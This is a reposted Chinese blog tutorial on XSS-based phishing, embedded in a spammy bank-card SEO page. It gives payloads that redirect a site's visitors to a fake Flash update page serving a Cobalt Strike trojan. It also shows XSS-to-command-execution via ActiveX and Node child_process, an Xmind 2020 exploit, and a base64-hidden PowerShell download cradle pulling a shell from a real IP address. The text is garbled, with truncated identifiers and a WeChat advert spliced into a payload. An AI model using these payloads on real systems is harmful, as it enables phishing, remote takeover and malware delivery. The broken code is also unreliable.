該項目是一個逼真的Flash更新提醒的彈窗,強迫癥都會忍不住去點擊下載的:

我們這里使用第二種方法,點擊“立即升級”的這個按鈕點擊會下載我們提前準備好的 CS 木馬。如果管理員以為自己的 Flash 版本過低的話,可能會下載并運行這個木馬。

找到,搜索鏈接“”,將其改為我們制作的木馬的鏈接地址,然后保存即可:

然后將偽造的Flash頁面搭建在攻擊機kali的Web服務(wù)上:

(3)插入 XSS 攻擊向量

訪問目標網(wǎng)站:

在最下方發(fā)現(xiàn)一個留言板:

經(jīng)測試存在XSS漏洞,我們插入一下payload:

<script>window.loca;;;</script> xxxxxxxxxxbr?<script>window.loca;;;</script>br

這樣,當用戶再次訪問該頁面或管理員在后臺查看評論時,就會將頁面劫持到我們所偽造的釣魚頁面上:

當受害者強迫癥忍不住去點擊“立即升級”時,就會下載我們所準備好的 CS 捆綁木馬:

如果受害者以為自己的 Flash 版本過低的話,就可能會運行這個木馬。如下圖所示,受害者主機成功上線:

XSS to RCE

為了大大提升 XSS 的危害,我們可以利用 JavaScript 來執(zhí)行系統(tǒng)命令。

使用 WScri 執(zhí)行系統(tǒng)命令

WScri(Windows Script Host Runtime Library)是一個對象,對應(yīng)的文件是C:/WINDOWS/system32,W是服務(wù)器系統(tǒng)會用到的一種組件。4這個對象可以執(zhí)行操作系統(tǒng)外殼常用的操作,比如運行程序、讀寫注冊表、環(huán)境變量等。簡單使用如下:

var shell = new ActiveXObject("WScri"); ("calc.exe"); xxxxxxxxxxbr?var shell = new ActiveXObject("WScri");br("calc.exe");br

有時候為了 Bypass 也可以使用 S 從 Ascii 來轉(zhuǎn)化惡意代碼:

<img src=x onerror="eval(S(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));"> xxxxxxxxxxbr?<img src=x onerror="eval(S(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));">br

使用 child_process 執(zhí)行系統(tǒng)命令

如果目標環(huán)境啟用了 NodeJS 的話,我們也可以利用 NodeJS 的子進程(child_process)調(diào)用并執(zhí)行系統(tǒng)命令:

<img src=x onerror="const exec = require('child_process').exec;exec('whoami').('data', function (data) {alert(data);})"> <img src=x onerror="require('child_process').exec('calc');"> <img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');"> xxxxxxxxxxbr?<img src=x onerror="const exec = require('child_process').exec;exec('whoami').('data', function (data) {alert(data);})">brbr<img src=x onerror="require('child_process').exec('calc');">brbr<img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');">br

能執(zhí)行系統(tǒng)命令了,那么 XSS 在釣魚攻擊中的作用便大大提高了,我們完全可以利用 XSS 反彈 Shell 并上線 Metasploit 或 CS 。請繼續(xù)往下看。

Xmind 2020 XSS 漏洞

XMind 是一款專業(yè)的全球領(lǐng)先的商業(yè)思維導圖軟件,在國內(nèi)使用廣泛,擁有強大的功能、包括思維管理、商務(wù)演示、與辦公軟件協(xié)同工作等功能。它采用全球先進的 Eclipse RCP 軟件架構(gòu),是集思維導圖與頭腦風暴于一體的可視化思考工具,能用來捕捉想法、理清思路、管理復雜信息并促進團隊協(xié)作。 XMind 思維導圖軟件曾被著名互聯(lián)網(wǎng)媒體 Lifehacker 評選為“最佳頭腦風暴和思維導圖工具”及”最受歡迎的思維導圖軟件”。

2021年5月10日,被爆 Xmind 2020 中存在 XSS 漏洞,攻擊者可以借助該漏洞實現(xiàn)命令執(zhí)行,在實際環(huán)境中借助釣魚攻擊可能造成更嚴重的危害。

漏洞利用很簡單,在 “思維導圖” 中輸出 Payload:

<img src=x onerror=alert('xss')> xxxxxxxxxxbr?<img src=x onerror=alert('xss')>br

切換到 “大綱” 中,按下一個功能鍵即可觸發(fā)攻擊:

由于 Xmind 啟用了 NodeJS 功能,所以我們可以利用 child_process 調(diào)用并執(zhí)行系統(tǒng)命令。這和蟻劍的 XSS 導致 RCE 原理如出一轍:

同時我們可以利用這一點進行釣魚,讓受害機上線 Metasploit 或 CS。

首先使用 CS 生成釣魚使用的 PowerShell 腳本:

點擊 Launch 后生成攻擊命令:

-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(';))" xxxxxxxxxxbr? -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(';))"br

即:

require('child_process').exec(' -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'\'))"'); xxxxxxxxxxbr?require('child_process').exec(' -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'\'))"');br

為了更好地 Bypass,我們可以將 payload 進行 base64 轉(zhuǎn)化一下,最終的 Payload 如下:

<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'>+WX:machinegunjoe666免費領(lǐng)取資料 xxxxxxxxxxbr?<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzQ3LjEwMS41Ny43Mjo4MDg4L3NoZWxsXCcpKSInKTs=`,`base64`).toString())'>+WX:machinegunjoe666免費領(lǐng)取資料br

如下圖所示,受害機成功上線:

福利分享:

看到這里的大佬,動動發(fā)財?shù)男∈?點贊 + 回復 + 收藏,能【 關(guān)注 】一波就更好了

我是一名滲透測試工程師,為了感謝讀者們,我想把我收藏的一些網(wǎng)絡(luò)安全/滲透測試干貨貢獻給大家,回饋每一個讀者,希望能幫到你們。

干貨主要有:

①1000+CTF歷屆題庫(主流和經(jīng)典的應(yīng)該都有了)

②CTF技術(shù)文檔(最全中文版)

③項目源碼(四五十個有趣且經(jīng)典的練手項目及源碼)

④ CTF大賽、web安全、滲透測試方面的視頻(適合小白學習)

⑤ 網(wǎng)絡(luò)安全學習路線圖(告別不入流的學習)

⑥ CTF/滲透測試工具鏡像文件大全

⑦ 2021密碼學/隱身術(shù)/PWN技術(shù)手冊大全

各位朋友們可以關(guān)注+評論一波 私信【資料】 即可免費獲取全部資料



1.《【0061開頭的銀行卡】這一次,終于把XSS理解透徹》援引自互聯(lián)網(wǎng),旨在傳遞更多網(wǎng)絡(luò)信息知識,僅代表作者本人觀點,與本網(wǎng)站無關(guān),侵刪請聯(lián)系頁腳下方聯(lián)系方式。

2.《【0061開頭的銀行卡】這一次,終于把XSS理解透徹》僅供讀者參考,本網(wǎng)站未對該內(nèi)容進行證實,對其原創(chuàng)性、真實性、完整性、及時性不作任何保證。

3.文章轉(zhuǎn)載時請保留本站內(nèi)容來源地址,http://f99ss.com/caijing/2029930.html

上一篇

12種行為銀行卡凍結(jié)看這里!多年不同的銀行卡,視為不動戶,解凍手續(xù)賊麻煩

下一篇

【16歲開戶可以辦銀行卡嗎】專題期貨開戶有年齡限制嗎

0061開頭的銀行卡專題之中國第一大油氣田日產(chǎn)原油突破7萬噸

0061開頭的銀行卡專題之中國第一大油氣田日產(chǎn)原油突破7萬噸

0061開頭的銀行卡相關(guān)介紹,據(jù)5月25日中國石油長慶油田數(shù)字生產(chǎn)指揮中心屏幕顯示,該公司原油日產(chǎn)量突破7萬噸,達到7.0061萬噸,今年以來原油日產(chǎn)創(chuàng)新高,也為中國石油第一大油氣田長慶油田公司實現(xiàn)年原油產(chǎn)量2545萬噸奠定了堅實...

0061開頭的銀行卡,干貨看這篇!安全測試之XSS

0061開頭的銀行卡,干貨看這篇!安全測試之XSS

0061開頭的銀行卡相關(guān)介紹,用于安全測試的站點間腳本攻擊(XSS) 前言 隨著互聯(lián)網(wǎng)的不斷發(fā)展,web應(yīng)用程序的交互也越來越強。 但正如一個硬幣會有兩面一樣,在用戶體驗提升的同時安全風險也會跟著有所增加。今天,我們就來講一講we...

0061開頭的銀行卡看這里!安全測試之XSS

0061開頭的銀行卡看這里!安全測試之XSS

0061開頭的銀行卡相關(guān)介紹,用于安全測試的站點間腳本攻擊(XSS) 前言 隨著互聯(lián)網(wǎng)的不斷發(fā)展,web應(yīng)用程序的交互也越來越強。 但正如一個硬幣會有兩面一樣,在用戶體驗提升的同時安全風險也會跟著有所增加。今天,我們就來講一講we...

0061開頭的銀行卡專題之安全測試之XSS

0061開頭的銀行卡專題之安全測試之XSS

0061開頭的銀行卡相關(guān)介紹,用于安全測試的站點間腳本攻擊(XSS) 前言 隨著互聯(lián)網(wǎng)的不斷發(fā)展,web應(yīng)用程序的交互也越來越強。 但正如一個硬幣會有兩面一樣,在用戶體驗提升的同時安全風險也會跟著有所增加。今天,我們就來講一講we...

【0061開頭的銀行卡】專題空頭底牌罕見曝光 明日或?qū)⒂畜@喜?

【0061開頭的銀行卡】專題空頭底牌罕見曝光 明日或?qū)⒂畜@喜?

0061開頭的銀行卡相關(guān)介紹,====讀取全文==== 上海手指的收縮量上升了0.11%,奪回了3200個中字頭股發(fā)力保護隊 今天,a股圍繞3200點整數(shù)繼續(xù)整頓。 兩市雙雙低開,滬指開盤即跌破3200點,隨后呈現(xiàn)震蕩下行走勢。午...